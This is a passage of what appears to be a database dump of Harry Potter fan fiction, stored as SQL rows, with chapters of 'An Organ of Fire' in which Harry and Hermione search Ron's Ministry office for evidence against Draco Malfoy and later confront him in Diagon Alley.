Surrounding her. &quot;We should have been able to do this a long time ago,&quot; he whispered into the thick locks of her hair that his head lay upon. <br><br>&quot;Yes,&quot; Hermione agreed. She turned over in the circle of his arms to see him. &quot;I don\'t want to wake up alone ever again.&quot;<br><br>&quot;You won\'t,&quot; he promised. As her lips met his once again, Harry suddenly realized something. He was in no position to make such a promise. There was no guarantee anymore than he could keep it.<br><br>****<br><br>To Be Continued'),
	(93, 11, 'Disclaimer: Harry Potter and most everything in the world of this story do not belong to me as they were not thought up by my feeble brain, but by JK Rowling, who has more imagination in her thumb than most of us possess in our entire bodies. <br><br>Author\'s Notes: An inexcusable amount of time has passed since I last updated this story; I apologize. I got busy with school and other stories and it wasn\'t until I saw &quot;HP and the Chamber of Secrets&quot; on Friday that I got really inspired again. Thanks for your patience, and I hope you enjoy!<br><br>****<br><br>An Organ of Fire<br>by Kristen Elizabeth<br><br>****<br><br>After a quick breakfast of tea and toast, Harry and Hermione apparated out of Diagon Alley and onto the front steps of a two-story, impressively boring building, obviously designed to draw as little attention as possible. <br><br>&quot;The Ministry of Magic,&quot; Hermione said as soon as Harry appeared next to her. She shivered involuntarily despite her warm navy blue and cream-colored robes. &quot;I haven\'t been here in a...in awhile.&quot; <br><br>Harry was quick to take her mittened hand. &quot;I promise we won\'t be here for long.&quot; <br><br>&quot;Remind me again why we\'re here at all? Do you think someone might know what\'s happened to Sirius?&quot; <br><br>He expelled a deep breath. &quot;I don\'t know. Maybe.&quot; There was a pause. &quot;Ron found something out...something that had the power to bring down Malfoy. And it cost him his life. Now Sirius has disappeared, right after he discovered the same thing, but before I could get here and learn about it.&quot;<br><br>&quot;Given that pattern, I can\'t say I\'m all that sorry that you\'re in the dark, Harry,&quot; Hermione\'s tone was quiet, but dry. <br><br>Blinking away the powdery snow that had sprung up during their conversation, Harry looked up at the mottled grey sky. His eyes dropped back down; beside the building\'s door was a plaque that read &quot;Paddington and Associates,&quot; another obvious attempt at disguise. Few Muggles would wander into such a dour place with no real idea what was inside. <br><br>&quot;I think I have to find out, \'Mione.&quot; He gently tugged on her hand, pulling her towards the entrance. &quot;There must be something of Ron\'s old work left, in the records section, if nowhere else. Sirius discovered it, after all.&quot; <br><br>&quot;Actually Ron\'s office...&quot; Hermione bit her lip. <br><br>Harry stopped with his hand on the door and looked back at her. &quot;Ron\'s office? What about it?&quot;<br><br>&quot;They asked me to come in...and clean it out. After his funeral.&quot; She hesitated. &quot;I never did.&quot;<br><br>&quot;So...all of Ron\'s reports and papers are still just...lying about?&quot; Harry asked, frowning. &quot;Then there\'s probably nothing left at all!! Malfoy would have gotten rid of it, either a long time ago, or right after he did...whatever he\'s done to my godfather.&quot; <br><br>Hermione shook her head. &quot;No. That\'s just the thing. The reason I was supposed to do it and not, say, Percy who works here, too, if you remember, is that Ron had a complex network of spells set up to protect his files and workspace. I helped him cast the spells.&quot; <br><br>Realization settled onto Harry. &quot;Ron didn\'t trust the Aurors at all, did he? He was one of them, but....&quot;<br><br>&quot;He didn\'t trust them as far as he could throw a dragon.&quot; <br><br>&quot;I\'d imagine all this information would have been useful awhile back, Hermione.&quot; <br><br>Meeting his exasperated gaze with a cool look of her own, she simply replied, &quot;I\'m sorry.&quot; <br><br>&quot;I understand you don\'t want me getting involved in...&quot; Harry stopped. &quot;Wait. If Sirius can\'t get in Ron\'s office, where did he get this information about Malfoy? And how did he think we were going to get more?&quot; <br><br>Hermione pulled her hand out of his, rather sheepishly. &quot;I have to confess. I told Sirius about the spells...and how to get around them.&quot; At Harry\'s shocked and hurt expression, she continued. &quot;I wanted him to solve everything, Harry! Again, I\'m sorry!&quot; Twin tears appeared in the corners of her eyes. &quot;Ron\'s quest to bring down Malfoy got him killed and I had to watch it. Do you honestly think I was going to sit by and let you be next on his victim\'s list?&quot;<br><br>&quot;You know....we\'re never going to get anywhere if we keep trying to over-protect each other.&quot; <br><br>Because he said it with a smile, Hermione had to return the gesture. &quot;You\'re right. We\'re losing sight of the true problem in all the secrets and miscommunications.&quot; She gestured to the door. &quot;Why don\'t we just go inside? I can get us into Ron\'s office, and perhaps we can find out just what it was in Ron\'s files that Sirius found.&quot; <br><br>&quot;We can\'t take too long,&quot; Harry said, guiding her through the plain, wood door and into a drably furnished waiting area which was completely empty. &quot;Every minute that goes by is another in which Malfoy could be torturing him. Or worse.&quot; <br><br>Hermione slipped one hand out of her mitten and touched Harry\'s jaw; it was tightly clenched and cold to the touch. &quot;Hey,&quot; she soothed, pressing her warm palm against the length of it. &quot;Do you feel in your heart that he\'s alive?&quot; After a moment, Harry nodded. &quot;Then you have to hold onto that. All right?&quot; <br><br>Harry covered her fingers with his and drew them away from his face in order to plant a soft kiss on her lips. &quot;I\'ll try.&quot; Breaking the delicious contact, he glanced around at their new surroundings. His forehead crinkled. The room was no more than fifteen feet by fifteen feet, much smaller than it had seemed from outside. Stranger than that, there were absolutely no windows and no doors, save for the entrance and an aged metal elevator to their right. <br><br>&quot;Um...&quot; Harry turned around. &quot;This is the entire Ministry of Magic?&quot; <br><br>&quot;Quit thinking like a Muggle, Harry.&quot; Hermione started towards the elevator. &quot;Let\'s just hope they haven\'t changed the password for some reason.&quot; Looking straight at the metal doors, she spoke in a clear, precise voice. &quot;Where, oh where has my little dog gone?&quot; A moment later, the shaft opened to reveal a rather plush elevator cab. &quot;Come on...it won\'t stay open forever.&quot; <br><br>Harry stepped inside with just a bit of hesitation. Just when he thought he had finally learned everything there was to know about the Magical world, he always found himself confronted with a new and unexpected experience. Fortunately, Hermione was there to guide him, or else he might still have been in the lobby, scratching his head. <br><br>A panel to the right side of the door on the inside was just like a normal Muggle elevator, except that each button for each floor had a different, moving picture for whichever department was located on it. To Harry\'s surprise, there were approximately fifty floors in what had looked from the outside to be a two-story structure. <br><br>He examined the buttons for a moment after the doors had shut behind them. &quot;Which one...&quot;<br><br>Hermione smiled and reached for the button with a picture of Azkaban. Like the other pictures Harry had seen of the place, a storm raged, sending crashing waves up onto the rocky shores of the island on which the Wizard prison was located. Lightning crashed, but Hermione ignored it as she pressed the button. The elevator lurched not straight up or down, but to a sharp right angle. <br><br>&quot;Fifteenth floor, East Wing,&quot; she explained to Harry. &quot;Auror\'s Headquarters.&quot; <br><br>****<br><br>The Department of Magical Law Enforcement was nothing like Harry had imagined on the few occasions when he had thought anything about it. Although he knew that it existed and knew what purpose it served, he had always envisioned it as a rather neat and orderly sort of place, rather like a Muggle police station such as the ones he had toured with his primary school class back when he lived with the Dursley\'s. <br><br>He had not been prepared for the shadowed, cluttered and cramped office that he and Hermione stepped into from the safe confines of the elevator cab. There was no receptionist; in fact, there was no one in sight.<br><br>No one human, that was. On the floor next to an empty receptionist\'s desk, a three-headed dog, much like Hagrid\'s old pet, Fluffy, but the size of a regular animal, sat, watching the elevator doors. He snarled, baring crooked, but sharp teeth. <br><br>&quot;Take it easy, Sideon,&quot; Hermione said, approaching the dog before Harry could stop her. She held out her hand and one of the heads sniffed it. &quot;Do you remember me?&quot;<br><br>There was a thumping sound as the dog\'s tail began to wag. The same head licked Hermione\'s palm before settling down to watch Harry with three keen pairs of eyes.<br><br>&quot;He won\'t hurt you,&quot; she assured him. &quot;Sideon belongs to the head of the department, Jeremiah Ringwood. I think you can guess why he\'s far better than a receptionist.&quot; <br><br>&quot;I suppose no one really comes here who isn\'t either employed or looking for trouble,&quot; Harry commented, following Hermione around the desk, but keeping a safe distance between himself and the dog. &quot;So, what category do we fall into?&quot;<br><br>She flashed him a brief smile and pointed to a dark door. &quot;This one was Ron\'s office.&quot; <br><br>&quot;Not a very lively place, is it?&quot;<br><br>&quot;The Aurors tend to keep to themselves,&quot; Hermione said, gesturing to the myriad of closed office doors around Ron\'s. &quot;Comes from the fact that any one of them are ready, at any minute, to turn a co-worker over if the need ever arose. It doesn\'t create a warm work atmosphere.&quot; <br><br>Harry grimaced. &quot;Moody told us that we\'d make good Aurors. Do you suppose that was some sort of comment about us?&quot;<br><br>&quot;Considering the fact that it actually came from the mouth of someone working with Voldemort to kill you, I wouldn\'t put too much weight on the suggestion.&quot; She withdrew her wand from her robes and stepped in front of the door. &quot;Corpeus Inflamario!&quot;<br><br>&quot;What does that mean?&quot; Harry asked, puzzled. <br><br>Hermione blushed as she pulled the door open, having released the first spell. &quot;I\'m fairly sure you don\'t want to know, Harry.&quot; <br><br>Still confused, but certain he was better off staying that way, Harry followed her into Ron\'s tiny office. She shut the door behind them, just in case any of the other Aurors wandered out of their offices. &quot;All right. Ron kept everything of importance in that drawer.&quot; Hermione walked around the cluttered desk and sat down in an overstuffed chair. She seemed to be trying awfully hard not to break down at the complete sense of Ron that permeated the room. <br><br>And Harry himself was having trouble as he looked around. One of Ron\'s old Chudley Cannons poster, torn in several places, hung on one wall. In fact, the walls were almost entirely covered with maps, charts and hand-scribbled notes that had been haphazardly tacked up wherever there was room. Harry squinted to read one.<br><br>&quot;IMPORTANT,&quot; the note declared in Ron\'s staccato handwriting. &quot;Ginny\'s new boyfriend is called TheoDORE, not TheoBALD.&quot; <br><br>When he read it out loud, Hermione smiled softly, her eyes shining with new tears. &quot;I had forgotten about that.&quot; But she didn\'t explain; she simply returned her attention to the desk drawer and the spell to unlock it. <br><br>Harry turned his attention to Ron\'s desk. It was cluttered with balled-up parchment, dry inkwells and broken quills. In fact, only two things held positions of importance, in that the area around them was relatively tidy. One was a Quaffle, the same one Ron had used in his first game as a Gryffindor Chaser.  He and Hermione had been so proud of their friend that day; he might have been the one to catch the Snitch and win, but it had been Ron\'s game. <br><br>The second item was, Harry discovered after he turned it around, a framed picture of Ron and Hermione on their wedding day. Harry bit down on the inside of his cheek. They both looked so happy, feeding each other cake that he just knew had been made by Molly Weasley and laughing at each other before Ron swallowed and leaned in to kiss his bride. <br><br>He turned the picture back around and cleared his throat. &quot;Any luck with the...Hermione?&quot;<br><br>She had stopped her spell; her wand was caught up in her tightly balled fist. Her slender shoulders shook as she began to cry. &quot;I miss him, Harry. I love you and I never stopped loving you entirely, but I loved him, too. I wanted to be able to love him more.&quot; Hermione wiped at her eyes. &quot;I think he always knew. He never would have said it...never would have thought it...but I was just another hand-me-down. Someone else\'s belonging that got passed to him.&quot; <br><br>&quot;\'Mione...&quot;<br><br>&quot;He loved me so much, Harry. And I adored him. I would have done anything for him. It\'s just...he wasn\'t you. He never could be. And he knew that, too.&quot;<br><br>Harry forced down a rising lump in his throat. &quot;Ron...was my best friend on this earth. I told myself when I left, that I wanted you to get on with your life. I\'m glad it was with him.&quot; He reached across the desk for her hand and gently rubbed the back of it with his thumb until her fingers relaxed. &quot;I miss him, too. Do you see now why I *can\'t* let Malfoy get away with taking him from us?&quot; <br><br>She sniffed back leftover tears and nodded. Transferring her wand to her other hand, she went at the desk drawer again. &quot;Adamo concumbo!&quot; The drawer popped open and parchment paper went flying. After Hermione had collected all the loose pieces, she started pulling out scrolls bound in leather tubes. &quot;Here. Start looking.&quot; <br><br>Two and a half hours later, Harry had a crick in his neck, his eyes were dry and itchy and his stomach growled for his attention. Ripping off his glasses, he pinched the bridge of his nose. &quot;Anything yet?&quot;<br><br>Hermione set aside one roll of parchment and reached for another. &quot;I don\'t think Ron ever closed any of his files...and he worked here for a good seven years! He just left all of this scattered everywhere in that drawer.&quot; She unrolled the paper and scanned it with a wife\'s frustration. &quot;That is so like him! Organizationally impaired, even when it comes to the most important...&quot; Her rant came to an abrupt halt.<br><br>&quot;What is it?&quot; Harry asked, rubbing the back of his neck. When she didn\'t reply, he hastily slid his glasses back into place. &quot;Did you find something?&quot;<br><br>&quot;This is it,&quot; she whispered. &quot;This....is what Ron died for.&quot; <br><br>She barely reacted a moment later when Harry plucked the paper from her hands. Forgetting his hunger and fatigue, Harry quickly read the entire document. After the third time through it, he lifted his head. &quot;Malfoy\'s robe...&quot; The parchment crumpled in his fist. &quot;I should have recognized it straight away!! How could I...&quot; He squeezed his eyes shut and threw the paper down. &quot;How could I have been so blind? Especially after Bill Jr. pointed it out to us?!&quot;<br><br>&quot;I didn\'t remember either, Harry. And I was far less caught up in the danger that night.&quot; Hermione stroked his arm with her own trembling hand. &quot;You were fighting for your life; you can\'t expect yourself to remember every last detail of...&quot;<br><br>&quot;But I should, Hermione! It wasn\'t some little school fight I got into. It was a fight to the death with Voldemort! I should remember everything! And for the most part, I can.&quot; Harry began pacing in front of Ron\'s desk. &quot;I can remember what it felt like to have him send lightning through my shoulder...I can remember every wrinkle in his face as he tried to strangle me...I can close my eyes and feel that sense of power when I called up every force in the world to cast him out of ours.&quot; He shook his head. &quot;Why couldn\'t I recognize the robe...the only piece of him that was left behind...the moment I saw it on Malfoy in a picture?! Not to mention when I saw him in Hogsmeade...&quot;<br><br>Hermione frowned. &quot;You ran into Draco? When?&quot;<br><br>&quot;The Dark Mark. On his cape. I should have...&quot; Harry stopped. &quot;This is proof, Hermione. It at least points a bloody lot of suspicion towards the bastard. Enough maybe to knock him off his pedestal. I mean, just the fact that he figured out how Malfoy got it was enough for Malfoy to kill Ron. Because he knows that no one, not even the most corrupt pureblood family imaginable, would support him if it became public knowledge that he wears Voldemort\'s robe with pride. Right&quot;<br><br>She picked up the paper and unfolded it. Ron\'s sloppy handwriting indicated how fast he had tried to copy down the information about the Malfoy family gaining possession of Voldemort\'s last remaining belonging after his death at Harry\'s hands. <br><br>&quot;I suppose we\'ll find out. I just hope...&quot; Hermione closed her eyes briefly as wave of nausea swept over her. &quot;...that your faith in people...won\'t be...disappointed.&quot; <br><br>Harry\'s eyes grew wide as Hermione\'s head dropped to the soft cushion of parchment papers across Ron\'s desk. The memories, the revelations, the sheer exhaustion, it had all become too much for her. She fainted and not even Harry\'s arms around her could rouse her out of the blissful darkness. <br><br>****<br><br>To Be Continued'),
	(93, 12, 'Disclaimer: I merely borrow to create. And since I can\'t exactly ask for permission, I just need to make it clear....we all know who came up with this stuff and it\'s not me. <br><br>Author\'s Notes: Thank you so much for the response to the last chapter! I\'m very flattered that yall are still reading, despite my long breaks between chapters. Next month, I\'m graduating from college with my Creative Writing degree that\'s only taken nearly five years to get and hopefully, I\'ll have even more time in the New Year to work on this story. Although I\'m on a roll now, I don\'t want to jinx it;) <br><br>****<br><br>An Organ of Fire<br>by Kristen Elizabeth<br><br>****<br><br>Buffy: No, but, see, Mom, that doesn\'t really work for me. We\'re just going to the magic shop, no school supplies there.<br>Dawn: Yeah, Mom. I\'m not going to Hogwarts. (chuckles) Hog- (looks at Buffy, who\'s not amused) Jeez, crack a book sometime. <br><br>****<br><br>&quot;Hermione.&quot; Harry\'s voice was the next thing she was aware of; he called her name gently while his hands lightly patted her cheeks. &quot;I think she\'s coming around.&quot; <br><br>Unsure of to whom he spoke, Hermione forced her eyes open. &quot;Harry?&quot; <br><br>&quot;Hey, relax,&quot; he ordered when she tried to sit up. &quot;You\'re going to be fine, but there\'s no need to rush yourself.&quot; <br><br>Hermione frowned despite the warm comfort that she found in the centers of his eyes. &quot;I fainted?&quot; He nodded. &quot;Then where...&quot; She tried to glance around, realizing that she was lying on something unfamiliar. <br><br>&quot;Welcome back, Hermione.&quot; A familiar face joined Harry\'s high above her. &quot;You gave poor Harry quite a scare, you know.&quot; <br><br>She relaxed and smiled at the man. &quot;Neville.&quot; After studying him for a minute, she continued, &quot;You\'ve lost a lot of weight!&quot;<br><br>Together with Harry, their old schoolmate, fellow Gryffindor Neville Longbottom, helped her into a sitting position on what she assumed was his own desk. &quot;Thank you,&quot; he replied. &quot;How are you feeling?&quot;<br><br>&quot;I\'m all right.&quot; She looked at Harry; he was rubbing her lower back with one hand ever so lightly. &quot;We\'re in...&quot;<br><br>&quot;The first office I could get you to,&quot; Harry replied. &quot;What luck, eh? Finding Neville in the Department of Magical Catastrophes.&quot; <br><br>With a wave of his wand, Neville conjured a glass of water and handed it to Hermione. &quot;I\'ve been working here almost six years now.&quot; <br><br>&quot;I had heard that.&quot; She drank, grateful for the thoughtful gesture. &quot;Actually it was a bit of a surprise when I did.&quot;<br><br>&quot;Oh, to me, too,&quot; Neville said, laughing. &quot;Professor Snape called me a walking Magical Catastrophe once, and now I work to clean them up. Poetic, isn\'t it?&quot;<br><br>Harry, though still worried about Hermione\'s sudden affliction, managed a wicked smile. &quot;I\'ll make sure to tell him all about you.&quot; <br><br>&quot;I\'d appreciate that.&quot; He glanced back and forth between his old friends. &quot;What brings you two to the Ministry in the first place? And you...Harry...where the bloody hell have you been for ten years?&quot; <br><br>&quot;Long...very long story,&quot; Harry grimaced. &quot;But we\'re actually here to...um...look for my godfather. He\'s missing.&quot;<br><br>Neville frowned. &quot;Sirius Black is missing? We haven\'t heard anything about it, Harry.&quot;<br><br>&quot;It just happened,&quot; Hermione informed him. Her stomach still rolled and bucked with nausea; it was a struggle to suppress the urge to vomit. <br><br>&quot;Hermione, I think we should get you to a...&quot;<br><br>She cut Harry off with a wave of her hand. &quot;I just...probably need something to eat. Something...really bland though.&quot; She looked at Neville. &quot;We didn\'t sleep very much last...I mean *I*...*I* didn\'t sleep very much last night. Me. Just me. Alone.&quot; Hermione put a hand on her stomach. &quot;That\'s why I don\'t feel well.&quot; <br><br>Neville\'s eyebrows lifted, but said nothing more on the subject. &quot;I\'ll get the Aurors looking for Sirius right away, Harry.&quot;<br><br>&quot;No! Actually I was just thinking that it would be great if you could get a...small team together to look into it. People you trust completely.&quot; Harry gave the other man a significant look. <br><br>&quot;Er...all right.&quot; Neville hesitated. &quot;Hermione...I was so sorry to hear about Ron. I should have visited you sooner to apologize for not making it to the funeral. I was on my honeymoon when it...&quot; He stopped. &quot;He was a great man.&quot; <br><br>Hermione nodded. &quot;Yes, he was. Thank you, Neville.&quot; <br><br>&quot;So, you\'re just here to report Black\'s disappearance?&quot; Neville said, changing the subject. &quot;You\'re a terribly long way from the Department of Mysteries.&quot; <br><br>&quot;Actually...&quot; Harry licked his lips. Neville had always been a loyal and trustworthy friend. Having his help and through him, having the Ministry\'s resources, would be a great advantage when it came time to bring down Malfoy. But still, something kept him from telling the other man the entire truth. Especially when he glanced at Neville\'s office walls and saw pictures of him and his wife, a witch he didn\'t recognize, and even more recent pictures of the couple with a tiny baby girl. <br><br>He couldn\'t bring Neville into the heart of danger. As much as he might have grown up and would now be able to take care of himself, Harry couldn\'t bear to risk any more innocent lives. <br><br>&quot;Actually,&quot; he started again. &quot;We were just...a little turned around.&quot;<br><br>Neville nodded. &quot;It\'s a confusing place, but I like working here. I don\'t even get lost anymore.&quot; He paused. &quot;Remember Seamus?&quot;<br><br>&quot;Of course.&quot;<br><br>&quot;He works a few floors over. Regulation of Magical Creatures.&quot; <br><br>Harry smiled. &quot;Maybe we\'ll drop in on him. But first...&quot; He glanced at Hermione. <br><br>&quot;I\'m fine now, Harry,&quot; she lied. <br><br>&quot;You probably shouldn\'t be Apparating though,&quot; Neville said. &quot;Where are you staying? Diagon Alley?&quot; When they both nodded, he reached for his cape which hung from a hat rack next to his desk. &quot;I\'ll get a Ministry car and drive you over there.&quot; <br><br>&quot;That\'s really not necessary, Neville,&quot; Hermione said, although the idea sounded wonderful.<br><br>&quot;I insist.&quot; As he donned the cape, he watched Harry help Hermione off the desk with the greatest of care. The corners of his lips turned up. Harry Potter and Hermione Granger...Weasley. After all that time, all the separation, all the loss and heartache they must have suffered, it looked as though the Golden Couple of Gryffindor, even if they had been the last ones to realize that they were so, had found their way back to each other. <br><br>He couldn\'t wait to tell everyone the good news.<br><br>****<br><br>Neville left them in front of the London street entrance to the Leaky Cauldron with the promise that he would set a team of trustworthy Ministry employees onto the mystery of Sirius\' disappearance. While Harry was grateful for the help, a seed of doubt had crept into the back of his mind during their car ride through London. If anyone was going to find his godfather, it had to be him and him alone. <br><br>Once inside the tavern, Harry ordered Hermione to sit in front of the fire and rest while he ordered a lunch of bread, plain cheese and gillywater to settle her stomach. They ate in silence for a long time until Hermione finally spoke. <br><br>&quot;You didn\'t really want to get Neville involved, did you?&quot;<br><br>Harry swallowed a mouthful of cheese. &quot;He has a wife. And a baby. I couldn\'t.&quot; <br><br>&quot;I just wanted to make sure you weren\'t judging him based on how he was in school. Because he\'s obviously changed.&quot; Hermione took a tiny sip of her water; her stomach was feeling much better, but she had no desire to push it. The nausea had hit too suddenly for her liking. <br><br>&quot;He\'s done well for himself,&quot; Harry agreed. &quot;It\'s hard to explain without sounding...&quot; <br><br>&quot;Pompous?&quot;<br><br>He smiled. &quot;I\'ll accept that. Pompous, yes. It\'s hard to say without being pompous that in the end, it always comes down to us, Hermione. You, me...Ron. And it\'s mostly my fault for being who I am. But it just seems like...I shouldn\'t drag other people into our...&quot; He stopped, shaking his head. &quot;I don\'t even know what I\'m saying anymore.&quot; Harry ran all ten fingers through his hair, pushing it back from his brow and baring his scar. &quot;I\'d really just like to go upstairs and spend the rest of the day in bed with you.&quot; <br><br>She blushed suddenly, although the prospect didn\'t fail to appeal to her. &quot;How about the next best thing?&quot;<br><br>&quot;The next best thing to sex?&quot; Harry gave her a look. &quot;And that would be...?&quot; <br><br>****<br><br>&quot;Quidditch!&quot; Hermione declared ten minutes later when they came to a stop in front of Quality Quidditch Supplies, Harry\'s favorite store in the world during their Hogwarts years. &quot;Right?&quot;<br><br>&quot;I don\'t know,&quot; Harry said, scratching his cheek. &quot;It\'s rather a toss-up for me. Sex or Quidditch...which is better? I\'ll have to give this some...&quot; <br><br>She silenced him with a hand to his mouth. &quot;Harry Potter!&quot; <br><br>&quot;Glad to see you\'re feeling better,&quot; he mumbled through her fingers. <br><br>&quot;Do you want to go in or not?&quot; Hermione asked, releasing him. Harry looked at the window display of the new Firebolt X-4000 and nodded obediently. She smiled and brushed snow out of his hair. &quot;I can\'t wait for spring. You always looked so good on a broom.&quot; <br><br>He wagged a finger at her. &quot;Now who\'s being naughty?&quot; Laughing at her expression, he pushed the door to the store open and waited for her to enter first. <br><br>During his first minute and a half in the store, Harry spotted ten things he could blow his entire salary on with little to no hesitation. But he was surprised to realize the items which caught his attention weren\'t even things he could use to play the game. They were all child-sized gear, protective padding, robes, beginner\'s broom-care kit....and all picked out with little Harry in mind. <br><br>When Hermione caught him examining a winter practice robe that could only fit a child, her chest began to ache. The last time she had been in here had been with Ron as they shopped for little Harry\'s ninth birthday. Ron had wanted to buy one of everything in the store for the boy, but she had held back and convinced him to get a different present. Flying wasn\'t exactly prohibited until that first lesson at Hogwarts, but it was discouraged, as she had had to remind him several times. <br><br>So, because of her unwillingness to bend any rules, even the unspoken ones, Ron would never get to see the boy he helped raise play the game over which they had bonded so intensely. Harry, however, would. She wasn\'t quite sure how she felt about that. <br><br>She had no time to ponder this, however. Harry\'s sudden strong grip on her arm shook her out of her memories. &quot;Harry?&quot; <br><br>&quot;Malfoy,&quot; he said in a low, cold tone that sent shiver throughout her body. &quot;He\'s here.&quot; <br><br>Hermione followed his focused stare across the store. &quot;Harry...please don\'t...&quot; But he was already walking over. Silently cursing, she followed him. <br><br>Draco stood in front of the counter, counting out gold Galleons as the clerk wrapped brown paper around a long object. As Harry moved closer, he watched a young boy run up to his former schoolmate. The boy appeared to be about little Harry\'s age, but it was the slicked-back, platinum hair that gave away his identity. <br><br>If there was any left over doubt in Harry\'s mind, it was dispelled when the child looked up at Draco. &quot;Father, I want one of those.&quot; He pointed to a large display of training Quaffles. <br><br>&quot;Wrap up two of those,&quot; Draco ordered the clerk. Nodding, the older man hastened to do Malfoy\'s bidding. <br><br>Harry could feel his teeth grinding, but he managed to keep himself under a thin veil of control as he addressed the would-be Dark Lord. &quot;Post-Christmas shopping, Malfoy?&quot;<br><br>Spinning around would have been beneath him; Draco simply turned his head, showing no surprise to see Harry and Hermione behind him. &quot;Birthday,&quot; he replied. With a glance down, he smiled cooly. &quot;It isn\'t every day that a child turns eleven.&quot; He placed a hand on the back of the boy\'s head and pushed him forward. &quot;My son, Bronson Malfoy.&quot;<br><br>&quot;The Third,&quot; the child emphasized, looking up at Harry with piercing blue eyes. &quot;Who are you?&quot;<br><br>&quot;Bronson...&quot; Draco smile with much condescension as he made the introductions. &quot;The *great* Harry Potter.&quot; <br><br>The boy looked bored. &quot;Smashing.&quot; Turning his attention to the counter top, he reached for the brown paper wrapped package. &quot;Is this my Firebolt, Father?&quot;<br><br>Hermione frowned. &quot;Draco...surely you\'re not buying him a broomstick for his birthday.&quot; <br><br>&quot;And what if I were?&quot; he countered, a sneer marring his thin lips. &quot;What would it be to you?&quot;<br><br>&quot;Children,&quot; she began quietly. &quot;Are not to come to school with their own broomstick.&quot; <br><br>Draco considered her for a long moment. &quot;Bronson, you remember Mrs. Weasley. Or have you gone back to \'Granger\' now that you\'re a widow?&quot; <br><br>Hermione stared at him. There was no hint of guilt or remorse or even acknowledgment of her pain, pain he had inflicted, on his cold features. How had the boy who had been merely a school bully and more of a bother than a threat, turned into someone who could murder without care? &quot;I\'ve kept Ron\'s name,&quot; she replied. &quot;You couldn\'t take that away from me.&quot; Harry\'s discreet hand on her arm gave her words strength.<br><br>A moment passed; had the setting been less public, Harry would have loved to knock the chuckle right off of the blonde man\'s face. The clerk milled around them, wrapping Bronson\'s presents, but the three adults ignored him. &quot;Harry Potter will be one of your teachers next year, Bronson.&quot; Draco jerked his son\'s attention back to the conversation by grabbing his shoulder and pulling him against his robes. <br><br>Harry\'s eyes narrowed. Voldemort\'s robes. <br><br>&quot;I\'ve already gotten my letter,&quot; Bronson smirked. &quot;Has Harry?&quot; he asked Hermione. The question could have been friendly, had the boy not had such a fierce look of competitive malice. <br><br>He went ignored as his father continued. &quot;Mrs. Weasley teaches at Hogwarts now, too. But don\'t worry...you won\'t have her next year.&quot; <br><br>&quot;Just what does that mean?&quot; Harry asked. His wand was in his pockets; it would only take a second to...<br><br>Hermione stepped in front of him. &quot;All first year students take History of Magic, Draco. Whether you like it or not, I will be teaching your son.&quot; <br><br>He smiled again, revealing identical rows of perfect, white teeth. &quot;We shall see.&quot; Releasing Bronson\'s shoulders, Draco handed the last of the Galleons to the store clerk. &quot;Deliver everything by tomorrow morning,&quot; he instructed. As a second thought, he picked up the wrapped broomstick. &quot;Except for this.&quot; <br><br>Bronson took his present with glee, cradling it like a girl would a favorite doll. Draco looked back at his childhood adversaries. &quot;I\'ll be seeing you around,&quot; he promised. <br><br>Before he could follow his son to the door, Harry caught Draco\'s arm. &quot;I know about you,&quot; he stated in a low, clear voice. <br><br>Draco arched an eyebrow, but displayed no worry. &quot;And just what does Harry Potter think he knows?&quot;<br><br>&quot;Nice robes,&quot; Harry continued, releasing him. &quot;They look...very familiar to me. I wonder on whom I\'ve seen them before...&quot;<br><br>The amusement in Draco\'s eyes died. &quot;You\'ve seen them on me. You prat,&quot; he added for lack of anything else to say. <br><br>Harry smiled, shaking his head. &quot;If I\'ve figured it out, Malfoy, it\'s only a matter of time before everyone does.&quot; <br><br>A moment slipped by in which Harry truly thought it possible that Draco might slip up and give something away. But, all too soon, the cool grin was back on his face, as though nothing in the world could bother him. &quot;It\'s going to take more than clothes, Potter,&quot; he chuckled, backing away. <br><br>&quot;What have you done to my godfather, you bloody bastard?&quot; Harry hissed, not caring who might be watching or listening. &quot;If you\'ve harmed him in any way...&quot;<br><br>Draco shook his head. For the benefit of the shoppers around them who couldn\'t hear their conversation, but could see Harry Potter and Draco Malfoy on the brink of a fight, he raised his voice several notches. &quot;Poor Potter. You\'ve been around Muggles and Mudbloods too long. Starting to lose what little sense you ever had.&quot; He moved closer and lowered his voice. &quot;If I wanted to harm Sirius Black, do you think you\'d ever see him alive again?&quot; <br><br>As Harry absorbed this, Draco swept out of the store, his full, black robes billowing behind him. After what seemed like half a lifetime, Harry lunged for the door. <br><br>&quot;Harry!!&quot; Hermione\'s cry didn\'t stop him as he raced back into the snow-covered street. He glanced around wildly, scaring a group of children looking at the owls for sale across the way at Eeylops Owl Emporium. But it was in vain; Draco and his son had already vanished. Harry stood in the middle of Diagon Alley, chest rising and falling with each breath, ignoring everything and everyone around him. <br><br>Hermione approached him from behind, placing her hands delicately on his shoulder blades. &quot;Harry...&quot; She could feel the tension in his body through his robes. &quot;Everything he does...everything he says is meant to provoke you. Don\'t let him.&quot;<br><br>Harry nodded, but didn\'t...couldn\'t relax. &quot;He\'s got something up his sleeve, Hermione...and it\'s something to do with you. I\'ll kill him before I let him hurt you again.&quot; <br><br>She moved around in front him quickly. &quot;Stop. Listen to yourself! He\'s twisting you all around to his liking! You\'re starting to think like him now, and I\'m not going to let it happen.&quot; There was a pause. &quot;We\'re going back to Hogwarts.&quot; <br><br>&quot;Hermione...&quot;<br><br>&quot;Don\'t you even try to argue this with me, Harry Potter.&quot; Her eyes brimmed over with tears. &quot;We\'re going back to the Leaky Cauldron, getting our things and Apparating straight to Hogsmeade.&quot; The tears spilled over onto her smooth cheeks. &quot;There\'s nothing more to be done here.&quot; <br><br>&quot;Sirius,&quot; he stated, brushing away the wet tracks. <br><br>&quot;What else can you do, Harry?&quot; <br><br>His stomach dropped at the impact of the question. &quot;Nothing.&quot; Harry lowered his arm. &quot;Nothing at all.&quot; <br><br>&quot;Sirius...wherever he might be...is a survivor. He made it out of Azkaban, he eluded capture, he cleared his own name...&quot; Hermione cupped Harry\'s face in her hands. &quot;You know what he\'d tell you to do.&quot;<br><br>Harry closed his eyes. &quot;Go home.&quot; <br><br>&quot;Yes.&quot; Standing her toes, she kissed Harry\'s scar ever so lightly. &quot;Let\'s go home, Harry.&quot; <br><br>When he opened his eyes again, she was smiling up at him. His anger melted in her warmth. Without thinking, he pulled her into a tight embrace. &quot;I love you,&quot; he whispered into her hair. <br><br>She didn\'t ever want to pull away from him, but the feeling that everyone on the street was staring at them was too great. With a fair amount of grace, she managed to slip out of his arms, but took his hand to make up for it. &quot;Come on.&quot; <br><br>Together, they walked back to the mouth of Diagon Alley and re-entered the Leaky Cauldron. <br><br>&quot;Back again?&quot; the barkeep winked at Harry. &quot;Just window shoppin\', eh?&quot; 